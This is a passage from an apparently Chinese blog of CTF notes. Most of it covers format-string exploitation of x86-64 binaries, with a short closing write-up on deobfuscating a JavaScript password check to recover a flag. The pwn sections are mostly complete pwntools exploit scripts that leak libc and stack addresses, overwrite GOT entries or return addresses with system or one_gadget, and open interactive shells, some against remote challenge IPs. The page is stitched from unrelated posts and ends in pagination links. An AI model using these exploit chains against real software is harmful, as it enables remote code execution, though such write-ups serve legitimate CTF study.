0, 0, 1, 2, 0, 2] for i in range(100):   try:       io.sendlineafter(b'round', str(answer[i]).encode())   except EOFError:       print("Failed in " + str(i))       exit(0) io.sendlineafter(b'Good luck to you.',   b'%62c%8$hhna%79$p' + p64(stack_addr - 0x218)) io.recvuntil(b'0x') libc_addr = int(io.recv(12).decode(), 16) print(hex(libc_addr)) libc_addr -= 243 Libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') base = libc_addr - Libc.symbols['__libc_start_main'] libc_system_addr = Libc.symbols['system'] mem_system_addr = base + libc_system_addr print(hex(stack_addr - 0x218)) one_gadget = [0xE3B2E + base, 0xE3B31 + base, 0xE3B34 + base] payload = fmtstr_payload(6, {stack_addr - 0x218: one_gadget[1]}) io.sendlineafter(b'Good luck to you.', payload) io.interactive() 与malloc和free相关的格式化字符串漏洞 alloca函数(在栈上分配空间) #include <stdio.h> #include <stdlib.h> #include <alloca.h> int open_file (const char *dir, const char *file) { char *name = (char *) alloca (strlen (dir) + strlen (file) + 2); strcpy (name, dir); strcat (name, "/"); strcat (name, file); return open (name, O_RDONLY); } 这个函数用alloca函数在栈上分配了一个足够存储两个参数字符串拼接后的文件名的空间,并返回打开该文件的文件描述符或-1表示失败。当函数返回时,name指向的内存会自动释放。 alloca在栈上分配内存,而malloc在堆上分配内存。alloca分配的内存在函数返回时自动释放,不需要手动free,这样可以避免忘记释放或重复释放的问题。 alloca分配内存的速度很快,而且几乎不浪费空间。alloca也不会导致内存碎片化,因为它没有为不同大小的块分配单独的池。 alloca可以用来创建变长数组,在C99之前没有这个功能。 当然,alloca也有一些缺点和限制,比如: alloca分配的内存不能跨函数使用,因为它会在函数返回时被释放。 alloca可能导致栈溢出,因为栈空间有限(通常只有几KB),而堆空间远大于栈空间。 alloca不是标准C函数,它可能在不同的平台和编译器上有不同的行为或实现方式 利用思路: printf函数在输出较多内容时,会调用malloc函数分配缓冲区,输出结束之后会调用free函数释放申请的缓冲区内存。同样的scanf函数也会调用malloc。 [SDCTF 2022]Oil Spill(在栈上输入的动化格式化字符串漏洞随意写) 此工具的下载地址: https://lzeroyuee.cn/2021/02/28/Linux-Pwn-pwntools-fmtstr%E6%A8%A1%E5%9D%97/ fmtstr_payload用于自动生成格式化字符串payload pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str offset:控制的第一个格式化程序的偏移 writes:为字典,用于往addr中写入value,例如**{addr:** value, addr2: value2} numbwritten:已经由printf写入的字节数 write_size:必须是byte/short/int其中之一,指定按什么数据宽度写(%hhn/%hn/%n) exp如下 from pwn import * from ctypes import * from LibcSearcher import * def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): p.recvuntil(a) def inter(): p.interactive() def debug():   gdb.attach(p)   pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) context(os='linux', arch='amd64', log_level='debug') #p = process('./pwn') p = remote('43.142.108.3', 28194) elf = ELF('./pwn') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so') def ga(): rl(b'0x') return int(p.recvuntil(b',')[:-1], 16) puts = ga() printf = ga() stack = ga() libc_base = puts - libc.sym['puts'] one_gadget = libc_base + 0x10a2fc system = libc_base + libc.sym['system'] #gdb.attach(p, 'b *0x400738') sla(b'it?\n', fmtstr_payload(8, {elf.got['puts']:system, 0x600C80:b'/bin/sh\x00'})) #pause() inter() print(hex(puts), hex(printf), hex(stack)) 非栈上的格式化字符串漏洞 这里先贴两张大体的利用思路如下: 间接写地址:间接向栈上某个地址套入地址的值   当程序mian返回时就会执行libc_start_main位置开始及其往下的gadget 1.可以改got表的() 因为只能写第一层指针,所以我们要进行跳板式的写入(一般第一步用有三层指针偏移地址处进行操作),多次间接写入,找与目标改地址很像的位置作为二级跳板可以少改写几位 注意事项: 1.0要改三个或者四个字节的时候我们可以通过多个跳板先改高位再改低位 1.01如果 system 中的数据是 0x7fffffffffff320a,那么执行 (system>>16)&0xff 将得到以下结果: (system >> 16) = 0x7fff_ffff_ffff 0xff         = 0x0000_00ff ---------------------------               0x0000_00ff 因此,这个表达式的结果是十进制数值 255 或十六进制数值 0xff。 1.02一次格式化字符串改写两次的时候要注意第一次输出的字符数对第二次的影响(因此一次输入的时候要减去第一次已经打印的字符数) 1.03与运算0xff是保留最低一位数据以此类推 疑问: 1.1为什么要用next来遍历接收/bin/sh? 使用 next() 方法是因为 pwntools 库的 search() 函数返回的是一个生成器(generator)对象,而非列表。生成器是一种特殊的迭代器,它不会在内存中保存所有元素的值,而是根据需要逐个生成每个值。这种方式可以避免占用太多内存,特别是在搜索大型 ELF 文件时。 由于生成器只能使用一次,因此必须通过调用 next() 方法来逐个获取其中的元素。在本例中,我们只需要获取第一个匹配结果的地址,因此使用 next() 可以方便地获得该地址,并将其与 libc_base 相加得到最终的 sh_addr 值。 如果直接调用 libc.search("/bin/sh"),则无法直接获 1.3如何更改写入的位置? 修改got表的时候: 另外找一个与要修改的got地址相差不大的栈中所存的地方,分别记为A,B,然后第一次布置到A处修改got表X字节,第二次布置到B处修改got表+X字节处的地址,如图所示 第一次修改前 第一次修改后 第二次修改前 第二次修改后 log.success("one_gadget:"+hex(one_gadget_addr)) yes1=str((stack_tar)&0xffff) yes2=str((one_gadget_addr)&0xffff) yes3=str((stack_tar+2)&0xffff) yes4=str((one_gadget_addr>>16)&0xff) pay='%{}c%{}$hn'.format(yes1,10) pay2='%{}c%{}$hn'.format(yes2,39) pay3='%{}c%{}$hn'.format(yes3,10) pay4='%{}c%{}$hhn'.format(yes4,39) 或者利用一个地址进行多次修改也可以原理跟那个一样 1.2(1)例: 0x7fffffaaa093与0xff处理则只剩最第一字节0x93 不可以修改got表的(开了full ASRL) 思路:改写_libc_main_start成one_gadget(_libc_main_start是main函数退出后会从这里开始执行) 2023铁人三项的fmstr(知识点用到的跟上面一样) from pwn import * from ctypes import * #from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def debug():   gdb.attach(p)   pause() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_shell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) p = process('./fmtstr') #p = remote('1.14.71.254', 28966) elf = ELF('./fmtstr') libc= ELF('/home/pwngo/libc-2.33.so') sla(b'first.\n',b'aaaa') #debug() sla(b'password\n',b'aa%16$p..%9$pbb%10$p') p.recvuntil(b'aa') elf_base = int(p.recv(14),16)-0x1140 pop_r12_r15=elf_base+0x13fc p.recvuntil(b'..') main_start_213=int(p.recv(14),16) print(hex(main_start_213)) libc_base = main_start_213 - 0xD5(F3或者F0) - libc.symbols['__libc_start_main'] p.recvuntil(b'bb') stack=int(p.recv(14),16) log.success("stack:"+hex(stack)) log.success("elf_base:"+hex(elf_base)) log.success("libc_base:"+hex(libc_base)) print(hex(pop_r12_r15)) system = libc_base + libc.sym['system'] log.success("shell:"+hex(system)) # sla(b'',"aaa") stack_tar=stack-0xf0 #泄露的栈是三级跳板处的栈地址,我们以此为中心根据偏移找不同的栈地址 log.success("stack_tar:"+hex(stack_tar)) #debug() #下面是根据_libc_main_start改写成one_gadget的脚本 one_gadget_offset=[0xde78c,0xde78f,0xde792]#one_gadget libc版本查看可以利用的gadget one_gadget_addr=libc_base+one_gadget_offset[1] log.success("one_gadget:"+hex(one_gadget_addr)) yes1=str((stack_tar)&0xffff)) yes2=str((one_gadget_addr)&0xffff)#0xffff指的是保留末两位字节,详细讲解看上面的解释 yes3=str((stack_tar+2)&0xffff) yes4=str((one_gadget_addr>>16)&0xff)#右移2位导致&0xff之后取到倒数第三个字节 pay='%{}c%{}$hn'.format(yes1,10) pay2='%{}c%{}$hn'.format(yes2,39) pay3='%{}c%{}$hn'.format(yes3,10)#python中的占位符 pay4='%{}c%{}$hhn'.format(yes4,39) sla(b'again\n',pay) sla(b'again\n',pay2) sla(b'again\n',pay3) sla(b'again\n',pay4) p.interactive() (安洵)heap上格式化字符串并且不是改main函数ret返回地址 代码审计 这个for循环说明了我们只是把ptr的字符存在栈上,而每次printf(ptr的时候都是一次格式化字符串) ralloc函数(与堆操作相关) realloc函数是C语言标准库中的一个函数,用于重新分配内存块的大小。它可以扩大或缩小一个已分配的内存块,也可以用于在堆上分配新的内存块。 realloc函数的定义如下: void *realloc(void *ptr, size_t size); 其中,ptr是指向已分配内存块的指针,size是新的内存块大小。realloc函数返回一个指针,指向重新分配后的内存块。 realloc函数的使用流程如下: 如果ptr为NULL,则等价于调用malloc(size),即在堆上分配一个新的内存块并返回指针。 如果size为0,且ptr不为NULL,则等价于调用free(ptr),即释放ptr指向的内存块,并返回NULL。 如果ptr和size都不为NULL,则会重新分配ptr指向的内存块的大小为size,并返回指向重新分配后的内存块的指针。如果重新分配后的内存块大小比原来的大,那么新分配的内存块中的未初始化的部分将是不确定的。如果重新分配失败,则返回NULL,原来的内存块不会被释放。 exp如下: from pwn import * from struct import pack from ctypes import * import hashlib def s(a):   p.send(a) def sa(a, b):   p.sendafter(a, b) def sl(a):   p.sendline(a) def sla(a, b):   p.sendlineafter(a, b) def r():   p.recv() def pr():   print(p.recv()) def rl(a):   return p.recvuntil(a) def inter():   p.interactive() def debug():   gdb.attach(p)   pause() def get_addr():   return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb():   return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = process('./harde_pwn') #p = remote('47.108.165.60', 42545) elf = ELF('./harde_pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') sa(b'game!\n', p64(0)*4) c_libc.srand(0) for i in range(21):   sla(b'input: \n', str((c_libc.rand() ^ 0x24) + 1)) sa(b'input your data ;)\n', b'%8$p%11$p%7$p') rl(b'0x') stack = int(p.recv(12), 16) rl(b'0x') libc_base = int(p.recv(12), 16) - 243-libc.symbols['__libc_start_main'] ret = stack - 8 ptr = stack - 0x18 rbp = stack - 0x10 rl(b'0x') heap_base = int(p.recv(12), 16) - 0x2a0 debug() one_gadget = libc_base + 0xebcf8 printf_ret = ptr - 0x10 print(' printf_ret -> ', hex(printf_ret)) print(' heap_base -> ', hex(heap_base)) print(' stack -> ', hex(stack)) print(' libc_base -> ', hex(libc_base)) for i in range(6):   sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00')   sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00') #rbp写成存onegadget sa(b'input your data ;)\n', b'%' + str(printf_ret & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str(0xb1).encode() + b'c%41$hhn\x00') #改一次rbo inter() 技巧补充 改大地址: 利用不是在栈上的格式化字符串的时候我们都要明白一个原理: 当你对绿圈的格式化偏移进行修改时,真正被修改的是箭头所指向的低地址处,这也是找跳板的意义 for i in range(6): sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00') 像上面一样我们可以每改一次将rbp的地址加**某个数进行错位改大数字,**跟异位伪造doublefree的fd头有相同的思想 有可能可以再利用一次leava或者ret  我们看到rsp现在跟在rbp前3单位处,我们没pop一次(ret)rsp的地址就会增加一个单位,当我们三次pop的时候我们的rsp就会跟rbp重合,从而getshell
【总结】HTML+JS逆向混淆混合
国外的题果然考的与众不同 [secrypt_cen.html] 这次是HTML网页,然后JS加密判断 翻看JS代码 很显然,关键的代码在checkPassword JS混淆是必备的 去混淆一条龙走起 先将关键代码提取出来  JavaScript  function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =  _0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =  _0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =  _0x104914[_0x22f014]; return _0x321373; }; return  _0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799) {  //...................省略大量代码 } function safe_add(a, b) { var c = (65535 & a) + (65535 & b); return (a >> 16) + (b >> 16) + (c >> 16) << 16 | 65535 & c } function  bit_rol(a, b) { return a << b | a >>> 32 - b } 使用在线的javascript去混淆即可 http://deobfuscate.relative.im得到去混淆后的结果  function checkPassword(_0x38d32a) {  try {  if (_0x38d32a.length !== 21) {  return false }  if (  //......省略大量代码  return [c, d, j, k] }  function md5_cmn(a, b, c, d, e, f) {  return safe_add(bit_rol(safe_add(safe_add(b, a), safe_add(d, f)), e),  c) }  function md5_ff(a, b, c, d, e, f, g) {  return md5_cmn((b & c) | (~b & d), a, b, e, f, g) }  function md5_gg(a, b, c, d, e, f, g) {  return md5_cmn((b & d) | (c & ~d), a, b, e, f, g) }  function md5_hh(a, b, c, d, e, f, g) {  return md5_cmn(b ^ c ^ d, a, b, e, f, g) }  function md5_ii(a, b, c, d, e, f, g) {  return md5_cmn(c ^ (b | ~d), a, b, e, f, g) }  function safe_add(a, b) {  var c = (65535 & a) + (65535 & b)  return (((a >> 16) + (b >> 16) + (c >> 16)) << 16) | (65535 &  c) }  function bit_rol(a, b) {  return (a << b) | (a >>> (32 - b)) } flag长度21 发现了MD5加密,和两个MD5字符串 看起来无关联? 后来审计整个代码发现,对输入的flag分部分进行判断比较 写出对应的部分,在控制台console输出相关信息是一个不错的选择  function checkPassword(_0x38d32a) {  try {  // Password length is 21.  if (_0x38d32a.length !== 21) {  return false; }  if (  _0x38d32a.slice(1, 2) !== (String.fromCodePoint + "")[  parseInt((parseInt + "").charCodeAt(3), 16) - 147 ] /* password[1] = 'o' */ ||  _0x38d32a[(parseInt(41, 6) >> 2) - 2] !==  String.fromCodePoint(123) /* password[4] = '{' */ ||  _0x38d32a[4].charCodeAt(0) !==  _0x38d32a[7].charCodeAt(0) + 72 /* password[7] = '3'. */ ||  JSON.stringify(  Array.from(  _0x38d32a.slice(5, 7).split("").reverse().join(), (_0x2d4d73) => _0x2d4d73.codePointAt(0) ).map((_0x5b85c5) => _0x5b85c5 + 213) ) !==  JSON.stringify([  285, 257, 297, ]) /* password[5] = 'T', password[6] = 'H' password[7] = '3'*/ ) {  return false; }  /* For password[8], password[9], password[10], password[11] */  let _0x3c7a5c = _0x38d32a.slice(8, 12).split("").reverse();    try {  for (let _0x396662 = 0; _0x396662 < 5; _0x396662++) {  _0x3c7a5c[_0x396662] =  _0x3c7a5c[_0x396662].charCodeAt(0) + _0x396662 +  getAdder(_0x396662); } } catch (_0x1fbd51) {  _0x3c7a5c = _0x3c7a5c.map( (_0x24cda7) => (_0x24cda7 += _0x1fbd51.constructor.name.length -  4) ); }    if (  MD5(String.fromCodePoint(..._0x3c7a5c)) !==  "098f6bcd4621d373cade4e832627b4f6" /* password[8] = '0', password[9] = 'R', password[10] = '3', password[11] = 'M' */ ) {  return false; }    if (  MD5(_0x38d32a.charCodeAt(12) + "") !==  "812b4ba287f5ee0bc9d43bbf5bbe87fb" /* password[12] = '_' */ ) {  return false; }  _0x3c7a5c = (_0x38d32a[8] + _0x38d32a[11]).split("");  _0x3c7a5c.push(_0x3c7a5c.shift());  if (  _0x38d32a.substring(14, 16) !==  String.fromCodePoint(  ..._0x3c7a5c.map((_0x5b5ec8) =>  Number.isNaN(+_0x5b5ec8) ? _0x5b5ec8.charCodeAt(0) + 5 : 48 ) ) /* password[14] = 'R' password[15] = '0' */ ||  _0x38d32a[_0x38d32a[7] - _0x38d32a[10]] !==  atob("dQ==") /* password[0] = 'u' */ ||  _0x38d32a.indexOf(String.fromCharCode(117)) !==  _0x38d32a[7] - _0x38d32a[17] /* password[17] = '3' */ ||  JSON.stringify(  _0x38d32a .slice(2, 4) .split("") .map( (_0x7bf0a6) =>  _0x7bf0a6.charCodeAt(0) ^  getAdder.name[_0x38d32a[7]].charCodeAt(0) ) ) !==  JSON.stringify( [72, 90].map( (_0x40ab0d) =>  _0x40ab0d ^  String.fromCodePoint.name[_0x38d32a[17] - 1].charCodeAt(0) ) ) /* password[2] = 'f', password[3] = 't' */ ) {  return false; }  if (  String.fromCodePoint(  ..._0x38d32a .split("") .filter( (_0x5edfac, _0x2965d2) => _0x2965d2 > 15 && _0x2965d2 % 2 == 0 ) .map( (_0x2ffa6d) =>  _0x2ffa6d.charCodeAt(0) ^ (_0x38d32a.length + _0x38d32a[7]) ) ) !==  atob(  "g5Go" ) /* password[16] = 'V', password[18] = 'D', password[20] = '}' */ ) {  return false; }  if (  _0x38d32a[_0x38d32a.length - 2] !==  String.fromCharCode(Math.floor((({} + "").charCodeAt(0) + 9) / 3))  ||  _0x38d32a[1 + _0x38d32a[7]] !== giggity()[5] /* password[19] = ! */ ) {  return false; }  return true; } catch (_0x4d4983) {  return false; } }  function getAdder(_0x430c9d) {  switch (_0x430c9d) {  case 0:  return 34;  case 1:  return 44;  case 2:  return 26;  case 3:  return 60; }  return 101; }  function giggity() {  return giggity.caller.name; } 得到flag uoft{TH30R3M_PR0V3D!}
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页